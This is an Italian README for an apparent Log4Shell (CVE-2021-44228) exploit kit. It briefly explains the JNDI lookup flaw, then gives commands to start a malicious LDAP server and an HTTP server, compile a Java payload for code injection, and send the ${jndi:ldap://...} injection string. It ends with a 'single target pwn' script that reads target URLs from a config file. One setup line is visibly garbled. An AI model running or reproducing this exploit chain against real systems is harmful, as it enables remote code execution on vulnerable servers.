
CVE-2021-44228
Questa vulnerabilità fondamentale è stata segnalata da [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149) e corretta da [questo articolo. (Note di rilascio 8u121)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)
Tuttavia, la libreria di logging per Java chiamata log4j2 aveva (JNDILookup)[CVE-2021-44228](https://github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java), che permetteva l'accesso a protocolli come LDAP, consentendo l'iniezione di codice nelle versioni più vecchie di Java.
Le versioni corrette di Java possono prevenire l'iniezione di codice, ma `JNDILookup` effettua richieste al server LDAP, il che può portare a perdite di IP.
La soluzione è aggiornare le versioni di **Java** e **log4j2**.
cd http-server && npm install && cd ../ldap-server && npm install
http-server che ldap-servercd http-server && node index.js &
cd ldap-server && node index.js
# Questo genererà Main.java - richiesto per l'iniezione di codice.
# OSx
./java-single-compile <Main.java>
# Linux
javac <Main.java>
# Puoi ancora usare log4j-client nel repository per test interni.
cd log4j-client &&\
gradle jar &&\
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# Oppure esegui un'altra applicazione; com.sun.jndi.ldap.object.trustURLCodebase=true è richiesto per l'iniezione di codice, altrimenti effettuerà solo la richiesta al server LDAP.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>
${jndi:ldap://127.0.0.1:3001/}
NODEP=`pgrep node`
for id in $NODEP; do
kill $id
done
# Single target pwn
# Modifica exploit-configs.txt con URL e parametri
cd scripts/single-pwn && python3 __main__.py
Vedi la licenza in LICENSE